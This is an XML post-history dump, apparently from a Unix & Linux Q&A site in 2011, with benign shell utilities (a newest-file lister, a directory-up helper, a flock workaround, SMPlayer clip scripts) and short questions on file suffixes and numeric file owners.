  <row Id="32317" PostHistoryTypeId="2" PostId="13098" RevisionGUID="de67b2c1-f662-425c-a55b-92d6a314bf2b" CreationDate="2011-05-13T11:01:05.217" UserId="-1" Text="" />
  <row Id="32318" PostHistoryTypeId="2" PostId="13099" RevisionGUID="cf3c8894-77d1-496c-bb2a-525512179b6c" CreationDate="2011-05-13T11:01:05.217" UserId="-1" Text="" />
  <row Id="32319" PostHistoryTypeId="5" PostId="6825" RevisionGUID="eab70188-6281-4cba-8135-0af5b10096ef" CreationDate="2011-05-13T11:28:23.047" UserId="3169" Comment="added 1674 characters in body" Text="**show the most recently changed file**&#xD;&#xA;&#xD;&#xA;Often, I want to look at the most recent file.  e.g., I might be in the logs directory, and want to see which file is most recent because that is the first place to look to see why something is not working.&#xD;&#xA;&#xD;&#xA;`ls -lt | head` is a but cumbersome to type, so here's an alternative:&#xD;&#xA;&#xD;&#xA;    # show the most recently changed file&#xD;&#xA;    latest()&#xD;&#xA;    {&#xD;&#xA;        if test $# -ne 0&#xD;&#xA;        then&#xD;&#xA;            /bin/ls -t -1 -d &quot;$@&quot; | head -n 1&#xD;&#xA;        else&#xD;&#xA;            /bin/ls -t -1 -d * | head -n 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It also takes a wildcard or list of files, e.g.&#xD;&#xA;&#xD;&#xA;    $ latest mail* syslog*&#xD;&#xA;    syslog&#xD;&#xA;&#xD;&#xA;which is especially handy if all your log files have a timestamp in their name.  You can find the latest log for that program, without worrying what format the timestamp is in.&#xD;&#xA;&#xD;&#xA;    $ touch -d 'Feb 1' mylog.20110201&#xD;&#xA;    $ touch -d 'Feb 2' mylog.20110202&#xD;&#xA;    $ touch -d 'Feb 3' mylog.20110203&#xD;&#xA;    $ latest mylog*&#xD;&#xA;    mylog.20110203&#xD;&#xA;&#xD;&#xA;And here's an extended version that supports a `-&lt;number&gt;` option to print `&lt;number&gt;` lines instead of one.&#xD;&#xA;&#xD;&#xA;    # show the most recently changed file&#xD;&#xA;    latest()&#xD;&#xA;    {&#xD;&#xA;        local count=1               # how many files to print&#xD;&#xA;        local promptlines=5         # how many lines to leave for the prompt&#xD;&#xA;                                    # when printing a screenful with -s&#xD;&#xA;        local usage=&quot;Usage: latest [-n &lt;number&gt;] [-s] [--] [pattern]&quot;&#xD;&#xA;        while test $# -gt 0&#xD;&#xA;        do&#xD;&#xA;            case $1 in&#xD;&#xA;            # -- = stop processing options&#xD;&#xA;            --)&#xD;&#xA;                shift&#xD;&#xA;                break&#xD;&#xA;                ;;&#xD;&#xA;            # -n &lt;number&gt; = &lt;number&gt; files&#xD;&#xA;            -n)&#xD;&#xA;                if test -n &quot;$2&quot;&#xD;&#xA;                then&#xD;&#xA;                    count=$2&#xD;&#xA;                    shift 2&#xD;&#xA;                else&#xD;&#xA;                    echo &quot;$usage&quot; 1&gt;&amp;2&#xD;&#xA;                    return 1&#xD;&#xA;                fi&#xD;&#xA;                ;;&#xD;&#xA;            # -s = one screenful&#xD;&#xA;            -s)&#xD;&#xA;                count=$((LINES - promptlines))&#xD;&#xA;                shift&#xD;&#xA;                ;;&#xD;&#xA;            # -&lt;number&gt; = &lt;number&gt; files&#xD;&#xA;            -[0-9]*)&#xD;&#xA;                count=${1#-}&#xD;&#xA;                shift&#xD;&#xA;                ;;&#xD;&#xA;            # anything else starting with a minus is a usage error&#xD;&#xA;            -*)&#xD;&#xA;                echo &quot;$usage&quot; 1&gt;&amp;2&#xD;&#xA;                return 1&#xD;&#xA;                ;;&#xD;&#xA;            *)&#xD;&#xA;                break&#xD;&#xA;                ;;&#xD;&#xA;            esac&#xD;&#xA;        done&#xD;&#xA;&#xD;&#xA;        if test $# -ne 0&#xD;&#xA;        then&#xD;&#xA;            /bin/ls -t -1 -d &quot;$@&quot; | head -n $count&#xD;&#xA;        else&#xD;&#xA;            /bin/ls -t -1 -d * | head -n $count&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="32320" PostHistoryTypeId="5" PostId="13098" RevisionGUID="0188bd6a-d452-47ca-a4bd-24b58f9e75df" CreationDate="2011-05-13T11:28:46.680" UserId="3969" Comment="added 133 characters in body" Text="Version 3.0 of the desktop environment was released on April 6, 2011.&#xD;&#xA;&#xD;&#xA;http://www.gnome3.org/&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/GNOME" />
  <row Id="32321" PostHistoryTypeId="24" PostId="13098" RevisionGUID="0188bd6a-d452-47ca-a4bd-24b58f9e75df" CreationDate="2011-05-13T11:28:46.680" Comment="Proposed by 3969 approved by -1 edit id of 367" />
  <row Id="32322" PostHistoryTypeId="5" PostId="13098" RevisionGUID="670aa682-8d1a-4699-a69b-aee1c3873dfd" CreationDate="2011-05-13T11:28:47.103" UserId="885" Comment="added 8 characters in body; added 53 characters in body" Text="[Version 3.0](http://www.gnome3.org/) of the [GNOME desktop environment](http://en.wikipedia.org/wiki/GNOME) was released on April 6, 2011.&#xD;&#xA;&#xD;&#xA;See also [tag:gnome] for general GNOME questions.&#xD;&#xA;" />
  <row Id="32323" PostHistoryTypeId="5" PostId="13099" RevisionGUID="bd3f7cde-3c5c-4d2b-b732-d737d980ffe8" CreationDate="2011-05-13T11:29:58.660" UserId="885" Comment="added 42 characters in body" Text="Version 3 of the GNOME desktop environment" />
  <row Id="32324" PostHistoryTypeId="2" PostId="13100" RevisionGUID="384ae44c-ad4e-40b9-a56d-5e916cc88c18" CreationDate="2011-05-13T11:49:12.200" UserId="7167" Text="After a small [Usenet discussion][1] I use the following as a workaround for `flock -n lockfile -c command`:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;    &#xD;&#xA;    if [ $# != 4 -o &quot;$1&quot; = '-h' ] ; then&#xD;&#xA;       echo &quot;Usage: flock -n lockfile -c command&quot; &gt;&amp;2&#xD;&#xA;       exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    lockfile=$2&#xD;&#xA;    command=$4&#xD;&#xA;    &#xD;&#xA;    set -o noclobber&#xD;&#xA;    if 2&gt;/dev/null : &gt; &quot;$lockfile&quot; ; then&#xD;&#xA;       trap 'rm -f &quot;$lockfile&quot;' EXIT&#xD;&#xA;       $BASH -c &quot;$command&quot;&#xD;&#xA;    else&#xD;&#xA;       exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;  [1]: https://groups.google.com/group/comp.unix.solaris/browse_frm/thread/dd2213fd89266561/35757ccc590a85ab" />
  <row Id="32325" PostHistoryTypeId="25" PostId="13039" RevisionGUID="8c2f052e-24b1-490f-aec6-ca4abad27695" CreationDate="2011-05-13T12:11:54.057" Comment="http://twitter.com/#!/StackUnix/status/69011982765920256" />
  <row Id="32326" PostHistoryTypeId="5" PostId="10090" RevisionGUID="ea1a59db-5135-45d2-8aae-b37b7b0b1c80" CreationDate="2011-05-13T12:18:18.073" UserId="2343" Comment="added 454 characters in body" Text="UPDATE-2: After submitting the following script, it dawned on me that another way to set up time positions (in a GUI) is to use a Subtitles Editor (eg. `gnome-subtitles`). You can just click to mark start and end positions of &quot;phantom subtitles&quot;; actually you can put your file-path and comments in as the &quot;subtitle&quot;... Some formats aren't suitable (eg. using frame numbers).. 'ViPlay Subtitle File', Power DivX, and 'Adobe Encore DVD' look good.  &#xD;&#xA;&#xD;&#xA;UPDATE-1; a new script...  This script won't give you integrated playlist ability, but it will allow you to select and save and modify beginning and ending times within Smplayer, without the need to type anything.   &#xD;&#xA;&#xD;&#xA;This info is saved in a config file, the file-paths of which can be &quot;played&quot; individually, or in grouped in a sequence, via another script (similar to my 'play' script, or like your Emacs scripts)..  &#xD;&#xA; &#xD;&#xA;It works by utilizing Smplayer's `Seek` dialog... `xmacro` manipulates the dialog (I've found that it needs `sleep .3` between xmacro commands)... The times are stored in HH:MM:SS format in a file in `~/.config/smplayer`... The 1st line is the Start-time, the 2nd line is the End-time, and the 3rd line is there for specifying a root directory... This 3rd line is used as an optional path indicator by the folow-up script which modifies an smplayer config setting by priming it with `-ss` and `-endpos`... The timestamps config file is named the same as the media file, with a `.smplay` suffix...  &#xD;&#xA;&#xD;&#xA;So this isn't everything you want, but it may help to set up the times without any typing...   &#xD;&#xA;&#xD;&#xA;Here is the 'get timestamps' script:  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Bind this script to a key-combination of your choice..&#xD;&#xA;    # It currently responds only to an Smplayer window.  &#xD;&#xA;&#xD;&#xA;    id=$(xdotool getactivewindow)&#xD;&#xA;    title=&quot;$(xwininfo -id &quot;$id&quot; |&#xD;&#xA;      sed -n &quot;2s/^xwininfo: Window id: \(0x[[:xdigit:]]\+\) \x22\(.*\)\x22$/\2/p&quot;)&quot;&#xD;&#xA;  &#xD;&#xA;    if [[ $title =~ ^.*\ -\ SMPlayer$ ]] ; then&#xD;&#xA;      smplayer_d=&quot;$HOME/.config/smplayer&quot;&#xD;&#xA;      clip_d=&quot;$smplayer_d/clips&quot;&#xD;&#xA;      [[ ! -d &quot;$clip_d&quot; ]] &amp;&amp; mkdir -p &quot;$clip_d&quot;&#xD;&#xA;      bname=&quot;${title% - SMPlayer}&quot;&#xD;&#xA;      clip_f=&quot;$clip_d/$bname.smplay&quot; # Same name as video, with '.smplay' suffix&#xD;&#xA;  &#xD;&#xA;      if [[ ! -f &quot;$clip_f&quot; \&#xD;&#xA;          || &quot;$(&lt;&quot;$clip_f&quot; wc -l)&quot; != &quot;3&quot; ]]&#xD;&#xA;      then     # Prime with three defaults&#xD;&#xA;               # FROM     TO      ROOT-dir&#xD;&#xA;        echo -e &quot;0:00:00\n0:00:00\n&quot;     &gt;&quot;$clip_f&quot;&#xD;&#xA;      fi&#xD;&#xA;  &#xD;&#xA;      # Get timestamp, in seconds, of current stream position (from the current window)&#xD;&#xA;      #   using the &quot;Smplayer - seek&quot; dialog, via  Ctrl+j&#xD;&#xA;      sleep .3; echo -n &quot;KeyStrPress Control_L  KeyStrPress j       KeyStrRelease j       KeyStrRelease Control_L&quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;      sleep .3; echo -n &quot;                       KeyStrPress Home    KeyStrRelease Home                           &quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;      sleep .3; echo -n &quot;KeyStrPress Shift_L    KeyStrPress End     KeyStrRelease End     KeyStrRelease Shift_L  &quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;      sleep .3; echo -n &quot;KeyStrPress Control_L  KeyStrPress c       KeyStrRelease c       KeyStrRelease Control_L&quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null&#xD;&#xA;      sleep .3; echo -n &quot;                       KeyStrPress Escape  KeyStrRelease Escape                         &quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;        seekHMS=&quot;$(xsel -o -b)&quot;&#xD;&#xA;      # Now set config times to defaults (in case of malformed times)&#xD;&#xA;          ssHMS=&quot;0:00:00&quot;&#xD;&#xA;      endposHMS=&quot;0:00:00&quot;&#xD;&#xA;      # Now get config data from config file&#xD;&#xA;      eval &quot;$( sed -ne &quot;1s/^\([0-9]\+\):\([0-5][0-9]\):\([0-5][0-9]\)$/    ssHMS=\&quot;&amp;\&quot;/p&quot; \&#xD;&#xA;                    -e &quot;2s/^\([0-9]\+\):\([0-5][0-9]\):\([0-5][0-9]\)$/endposHMS=\&quot;&amp;\&quot;/p&quot; \&#xD;&#xA;                    -e &quot;3s/.*/   root_d=\&quot;&amp;\&quot;/p&quot; &quot;$clip_f&quot; )&quot;&#xD;&#xA;  &#xD;&#xA;      # Present dialog to set specifick  items.&#xD;&#xA;      REPLY=$(zenity \&#xD;&#xA;       --list --height=310 --width=375 \&#xD;&#xA;       --title=&quot;Set Clip Start / End Time&quot; \&#xD;&#xA;       --text=&quot; Select Clip Start / End  for time:  $seekHMS\n\&#xD;&#xA;           or choose another option\n\&#xD;&#xA;           \tthen click OK&quot; \&#xD;&#xA;       --column=&quot;Position&quot; --column=&quot; &quot; --column=&quot;Current Setting  &quot;  \&#xD;&#xA;                &quot;Clip Start&quot;        &quot; &quot;          &quot;$ssHMS&quot; \&#xD;&#xA;                &quot;Clip End&quot;          &quot; &quot;          &quot;$endposHMS&quot; \&#xD;&#xA;                &quot;UNSET Start&quot;       &quot; &quot;          &quot; &quot; \&#xD;&#xA;                &quot;UNSET End&quot;         &quot; &quot;          &quot; &quot; \&#xD;&#xA;                &quot;* Open directory&quot;  &quot; of&quot;        &quot;config files *&quot; &#xD;&#xA;      ); &#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;Clip Start&quot;       ]] &amp;&amp; sed -i -e &quot;1 s/.*/$seekHMS/&quot; &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;Clip End&quot;         ]] &amp;&amp; sed -i -e &quot;2 s/.*/$seekHMS/&quot; &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;UNSET Start&quot;      ]] &amp;&amp; sed -i -e &quot;1 s/.*/0:00:00/&quot;  &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;UNSET End&quot;        ]] &amp;&amp; sed -i -e &quot;2 s/.*/0:00:00/&quot;  &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;* Open directory&quot; ]] &amp;&amp; nautilus &quot;$clip_d&quot;&#xD;&#xA;    fi  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The following script is my original 'play&quot; scrpt. It is independent of the avove Timestamp script, but it wouldn't take much to get them to work together... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It will 'drive 'Smplayer, which uses mplayer internally.. it is,at least, a normal GUI, but your playlist would need to be in your text editor .. and you obviously know about that method already :)  &#xD;&#xA;&#xD;&#xA;I tried this a couple of years ago, but I'd forgotten all about it as I don't often need such a thing, but it is good to keep &quot;bookmarks&quot;..  I'm glad you've resurrected the idea.. Here is the script... which really only does the same as you have been doing, but to Smplayer (an mplayer GUi) &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Summary: &#xD;&#xA;    #   Play one video (only) in 'smplayer', passing -ss and -endpos values to 'mplayer'&#xD;&#xA;    #   It uses 'locate' to get the path of the video (by just its basename)&#xD;&#xA;    #&#xD;&#xA;    # eg:&#xD;&#xA;    #     $1                              $2   $3       $4 &#xD;&#xA;    #     basename                       -ss  -endpos   root &#xD;&#xA;    #     &quot;Titus - The Gorilla King.mp4&quot;  240  30      &quot;$HOME&quot;  # A fascinating documentary of the long reign of a silver-back gorialla&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;    [[ &quot;$2&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot;  0   &quot;$3&quot;   &quot;$4&quot;&#xD;&#xA;    [[ &quot;$3&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot; &quot;$2&quot;  36000 &quot;$4&quot;  # 36000 is arbitary (24 hours) &#xD;&#xA;    [[ &quot;$4&quot; == &quot;&quot; ]] &amp;&amp; root=&quot;$HOME&quot; || root=&quot;$4&quot;&#xD;&#xA;&#xD;&#xA;    file=( &quot;$(locate -er &quot;^$root/\(.*/\)*\+$1$&quot;)&quot; )&#xD;&#xA;&#xD;&#xA;    # 1) Tweak 'smplayer.ini' to run 'mplayer' with the specified -ss and -endpos  times&#xD;&#xA;    # 2) Run 'smplayer' to play one video only. The time settings will hold afer exit,  &#xD;&#xA;    #                         so the script waits (backgrounded) for smplayer to exit&#xD;&#xA;    # 3) When 'smplayer' exits, set values to extreme limits:  -ss 0 -endpos 3600 &#xD;&#xA;    #                           or(?): TODO remove the settings enitrely, &#xD;&#xA;    #                                       but that requires a different regex&#xD;&#xA;    a=0 z=36000     &#xD;&#xA;    # &#xD;&#xA;    # -ss &lt;time&gt; (also see -sb)&#xD;&#xA;    # -ss 56       # Seeks to 56 seconds.&#xD;&#xA;    # -ss 01:10:00 #Seeks to 1 hour 10 min.&#xD;&#xA;    #&#xD;&#xA;    # -endpos &lt;[[hh:]mm:]ss[.ms]|size[b|kb|mb]&gt; (also see -ss and -sb)&#xD;&#xA;    #         Stop at given time or byte position.&#xD;&#xA;    #         NOTE: Byte position is enabled only for MEncoder and will not be accurate, as it can only stop at a frame boundary.  &#xD;&#xA;    #         When used in conjunction  with -ss option, -endpos time will shift forward by seconds specified with -ss.&#xD;&#xA;    #        -endpos 56        # Stop at 56 seconds.&#xD;&#xA;    #        -endpos 01:10:00  # Stop at 1 hour 10 minutes.&#xD;&#xA;    # -ss 10 -endpos 56        # Stop at 1 minute 6 seconds.&#xD;&#xA;    #        -endpos 100mb     # Encode only 100 MB.&#xD;&#xA;    #&#xD;&#xA;    #                                                        -ss       0                -endpos       36000                                     &#xD;&#xA;    #              \1                              \2      \3        \4        \5     \6            \7            \8                 &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos \+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${2}\5\6${3}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    (smplayer &quot;$file&quot; &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos \+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${a}\5\6${z}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    )&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32327" PostHistoryTypeId="2" PostId="13101" RevisionGUID="b8efc125-fd90-43d5-bbaf-952af05f1c51" CreationDate="2011-05-13T12:52:49.680" UserId="4485" Text="##up N&#xD;&#xA;### jump N directories up in the directory tree&#xD;&#xA;&#xD;&#xA;Instead of typing&#xD;&#xA;&#xD;&#xA;	cd ../../../..&#xD;&#xA;you just type&#xD;&#xA;&#xD;&#xA;	up 4&#xD;&#xA;and a&#xD;&#xA;&#xD;&#xA;	cd - 	&#xD;&#xA;will bring you back&#xD;&#xA;&#xD;&#xA;Put the function into your .bashrc to use it.&#xD;&#xA;&#xD;&#xA;    # (c) 2007 stefan w. GPLv3			&#xD;&#xA;    function up {&#xD;&#xA;    ups=&quot;&quot;&#xD;&#xA;    for i in $(seq 1 $1)&#xD;&#xA;    do&#xD;&#xA;            ups=$ups&quot;../&quot;&#xD;&#xA;    done&#xD;&#xA;    cd $ups&#xD;&#xA;    }&#xD;&#xA;			" />
  <row Id="32328" PostHistoryTypeId="16" PostId="13101" RevisionGUID="8eded853-ea55-42a2-86a2-42ca7273b5cc" CreationDate="2011-05-13T12:52:49.680" UserId="4485" />
  <row Id="32329" PostHistoryTypeId="2" PostId="13102" RevisionGUID="1cf20b83-4713-422b-8c71-98f64b9ae6e7" CreationDate="2011-05-13T13:21:39.323" UserId="6973" Text="I create many notes in plain text files, but after a while the `.txt` suffix I put at the end of them seems to be unnecessary typing and visual noise. Is appending `.txt` to plain text files a strongly encouraged convention or just a suggestion?" />
  <row Id="32330" PostHistoryTypeId="1" PostId="13102" RevisionGUID="1cf20b83-4713-422b-8c71-98f64b9ae6e7" CreationDate="2011-05-13T13:21:39.323" UserId="6973" Text="Should all plain text files have some sort of suffix (e.g. *.txt, *.conf)" />
  <row Id="32331" PostHistoryTypeId="3" PostId="13102" RevisionGUID="1cf20b83-4713-422b-8c71-98f64b9ae6e7" CreationDate="2011-05-13T13:21:39.323" UserId="6973" Text="éfilenamesà" />
  <row Id="32332" PostHistoryTypeId="2" PostId="13103" RevisionGUID="6469cd21-affb-465d-8a71-f706189fcea0" CreationDate="2011-05-13T13:36:07.387" UserId="3519" Text="Adding any extension to any file on Linux/Unix systems is totally optional.&#xD;&#xA;&#xD;&#xA;However it is much easier to recognise which file contains what type of information at a glance with suitable extensions, particularly when you share your files with others.&#xD;&#xA;&#xD;&#xA;Also for integration with GUI desktops, it makes file association much easier - although some associations can be infered from identification within the file, such as the #! for executable scripts and magick number for a variety of file formats, this is not the case for other types of contents, such as plain text or some of the raw images for instance.&#xD;&#xA;&#xD;&#xA;So at the end of the day it depends on what your text files mean to you and what you do with them." />
  <row Id="32333" PostHistoryTypeId="17" PostId="13105" RevisionGUID="fd7d0f0a-8728-467f-92be-a76e9694c382" CreationDate="2011-05-13T13:39:45.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5991235/what-does-the-number-in-the-owner-field-of-files-signify-in-linux/5991243#5991243" Text="" />
  <row Id="32334" PostHistoryTypeId="17" PostId="13106" RevisionGUID="b6eb6773-1161-4af3-b777-a97c210b2e71" CreationDate="2011-05-13T13:39:45.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5991235/what-does-the-number-in-the-owner-field-of-files-signify-in-linux/5991254#5991254" Text="" />
  <row Id="32335" PostHistoryTypeId="17" PostId="13107" RevisionGUID="75b011ed-b5f7-449b-9c51-03bf7dfbb394" CreationDate="2011-05-13T13:39:45.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5991235/what-does-the-number-in-the-owner-field-of-files-signify-in-linux/5991256#5991256" Text="" />
  <row Id="32336" PostHistoryTypeId="17" PostId="13108" RevisionGUID="43d6fdd4-e721-4395-8a91-a3c5ef8f848b" CreationDate="2011-05-13T13:39:45.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5991235/what-does-the-number-in-the-owner-field-of-files-signify-in-linux/5991262#5991262" Text="" />
  <row Id="32337" PostHistoryTypeId="17" PostId="13109" RevisionGUID="060023dd-1780-488b-a0d6-bbc5da4752af" CreationDate="2011-05-13T13:39:45.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5991235/what-does-the-number-in-the-owner-field-of-files-signify-in-linux/5991327#5991327" Text="" />
  <row Id="32338" PostHistoryTypeId="17" PostId="13110" RevisionGUID="d19d695a-3d82-4a93-9b84-0c2caee9e004" CreationDate="2011-05-13T13:39:45.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5991235/what-does-the-number-in-the-owner-field-of-files-signify-in-linux/5991364#5991364" Text="" />
  <row Id="32339" PostHistoryTypeId="2" PostId="13105" RevisionGUID="b9d753db-f4f5-404a-9cdd-5ce98fa4c7ea" CreationDate="2011-05-13T11:33:25.897" UserId="2787" Text="It means, that the group has been named &quot;515&quot; and the user has been named &quot;515&quot; ?" />
  <row Id="32340" PostHistoryTypeId="2" PostId="13106" RevisionGUID="7c210042-a9fc-48fd-9d8a-30193a50c1ed" CreationDate="2011-05-13T11:34:16.977" UserDisplayName="Ignacio Vazquez-Abrams" Text="It means that either there is no user and group with those IDs, or that their names are too long to display entirely in that field." />
  <row Id="32341" PostHistoryTypeId="2" PostId="13107" RevisionGUID="cb765608-d1da-4e36-a484-cec574235ffd" CreationDate="2011-05-13T11:34:37.940" UserDisplayName="AJ" Text="It means that:&#xD;&#xA;&#xD;&#xA; 1. The file is owned by user:group 515:515&#xD;&#xA; 2. the user and group ids 515 are not defined in /etc/passwd or /etc/group as assigned to a specific user and group." />
  <row Id="32342" PostHistoryTypeId="2" PostId="13110" RevisionGUID="9ade2717-246f-4001-82d3-3b3dce480650" CreationDate="2011-05-13T11:44:20.850" UserDisplayName="rubenvdg" Text="You probably did a copy that preserved the original group and owner of these files. Within linux internally the owner and group is basically just an id (in your case, the number 515). This id is then mapped on a group and user name listed in /etc/passwd or /etc/group. You will see that in those files, you can find the name of the user and also the id used for that specific user and group.&#xD;&#xA;&#xD;&#xA;Most likely in the /etc/group and /etc/passwd, the id &quot;515&quot; is not listed, and for this reason the id itself is shown.&#xD;&#xA;&#xD;&#xA;You can change the ower and group to an existing owner and group with the commands chown and chgrp respectively." />
  <row Id="32343" PostHistoryTypeId="2" PostId="13108" RevisionGUID="3c40993c-cdb1-4dfd-a779-14f74c7232ba" CreationDate="2011-05-13T11:35:15.090" UserId="5946" Text="It is the user or group id of users.&#xD;&#xA;&#xD;&#xA;The mapping to user names is in /etc/passwd (for user ids) or /etc/groups (for group ids)&#xD;&#xA;&#xD;&#xA;See&#xD;&#xA;&#xD;&#xA;    man id&#xD;&#xA;    man usermod  # (the -u option)&#xD;&#xA;    man groupmod # (the -g option)&#xD;&#xA;    man shadow   # (to know why you shouldn't meddle with /etc/passwd directly)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32344" PostHistoryTypeId="2" PostId="13109" RevisionGUID="d22c95fd-dd5c-4352-98ed-ece908f0c288" CreationDate="2011-05-13T11:41:05.793" UserDisplayName="Devjosh" Text="The numbers can be three digits or four digits. Four digits have a more special purpose and if you are curious, read the chmod documentation. &#xD;&#xA;&#xD;&#xA;The first digit is the user, the second digit is the group, and the third digit is all others. That is going from left to right, in case there are any confusions there. So in actuality, when you do an ls -l you'll see nine spaces (read, write, and execute for user, then group, then others).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For octal notation, remember these three numbers and their purpose:&#xD;&#xA;&#xD;&#xA;4    Read&#xD;&#xA;2    Write&#xD;&#xA;1    Execute (search in directory)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;like if yoiu want to set the read execute and write permission for the user, write and read for the group and read for user then the notation would be &#xD;&#xA;&#xD;&#xA;    **u**      **G**      **o**&#xD;&#xA;    4+2+1       4+2         4 &#xD;&#xA;      7          6          4&#xD;&#xA;&#xD;&#xA;i hope it will clear the concept&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;in your case 5 1 5 means read and execute permission to the user, execute to the group and read and execute to others.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;" />
  <row Id="32345" PostHistoryTypeId="2" PostId="13104" RevisionGUID="fb5cf4a2-cac3-4922-bfe3-67859fc4cd18" CreationDate="2011-05-13T11:32:23.470" UserId="6797" Text="i copied many files to my new linux host.&#xD;&#xA;&#xD;&#xA;i see that all files are owner set to 515 and group to 515&#xD;&#xA;&#xD;&#xA;what does that mean" />
  <row Id="32346" PostHistoryTypeId="1" PostId="13104" RevisionGUID="fb5cf4a2-cac3-4922-bfe3-67859fc4cd18" CreationDate="2011-05-13T11:32:23.470" UserId="6797" Text="what does the &quot;number&quot; in the owner field of files signify in linux" />
  <row Id="32347" PostHistoryTypeId="3" PostId="13104" RevisionGUID="fb5cf4a2-cac3-4922-bfe3-67859fc4cd18" CreationDate="2011-05-13T11:32:23.470" UserId="6797" Text="élinuxà" />
  <row Id="32348" PostHistoryTypeId="17" PostId="13104" RevisionGUID="2ff05cf4-887c-4c68-b70b-cb78b60f2440" CreationDate="2011-05-13T13:39:45.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5991235/what-does-the-number-in-the-owner-field-of-files-signify-in-linux" Text="" />
  <row Id="32349" PostHistoryTypeId="6" PostId="13104" RevisionGUID="1ac37518-b595-4076-92b3-f35f2a7096bd" CreationDate="2011-05-13T13:43:37.780" UserId="885" Comment="edited tags" Text="éusersàélsàéfilesà" />
  <row Id="32350" PostHistoryTypeId="2" PostId="13111" RevisionGUID="2faa6db7-5e21-4f13-b190-242732c641b3" CreationDate="2011-05-13T14:27:15.743" UserId="3389" Text="I would add `.txt` if:&#xD;&#xA;&#xD;&#xA; - you ever expect it to be opened on a Windows system&#xD;&#xA; - you might have other files with the same name (for example, if you have an executable named `foobar` and then a text file in the same directory `foobar.txt`)&#xD;&#xA; - it's not obvious from the name that it's a text file, or you think you'd later forget&#xD;&#xA; - you ever expect to later try to include it in a search of all `.txt` files in a massive file hierarchy&#xD;&#xA;&#xD;&#xA;There's lots of &quot;types&quot; of files in Linux/UNIX that are text files, for example, documentation files, configuration files, scripts, source code.  By adding `.txt` you are disambiguating that this is a text file meant to be read and understood only by a human for various purposes.  So I would tend to add it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32351" PostHistoryTypeId="10" PostId="13102" RevisionGUID="75c7b268-6b00-42e3-9c81-d5c48658a872" CreationDate="2011-05-13T14:35:45.243" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32352" PostHistoryTypeId="5" PostId="13111" RevisionGUID="d574391e-fd37-4c59-9c9f-c70643304722" CreationDate="2011-05-13T14:37:13.807" UserId="3389" Comment="added 121 characters in body" Text="I would add `.txt` if:&#xD;&#xA;&#xD;&#xA; - you ever expect it to be opened on a Windows system&#xD;&#xA; - you might have other files with the same name (for example, if you have an executable named `foobar` and then a text file in the same directory `foobar.txt`)&#xD;&#xA; - it's not obvious from the name that it's a text file, or you think you'd later forget&#xD;&#xA; - you ever expect to later try to include it in a search of all `.txt` files in a massive file hierarchy&#xD;&#xA;&#xD;&#xA;There's lots of &quot;types&quot; of files in Linux/UNIX that are text files, for example, documentation files, configuration files, scripts, source code.  By adding `.txt` you are disambiguating that this is a text file meant to be read and understood only by a human for various purposes.  So I would tend to add it.&#xD;&#xA;&#xD;&#xA;And to actually answer your question, it is indeed a convention which probably came into vogue after the rise of DOS.&#xD;&#xA;&#xD;&#xA;" />
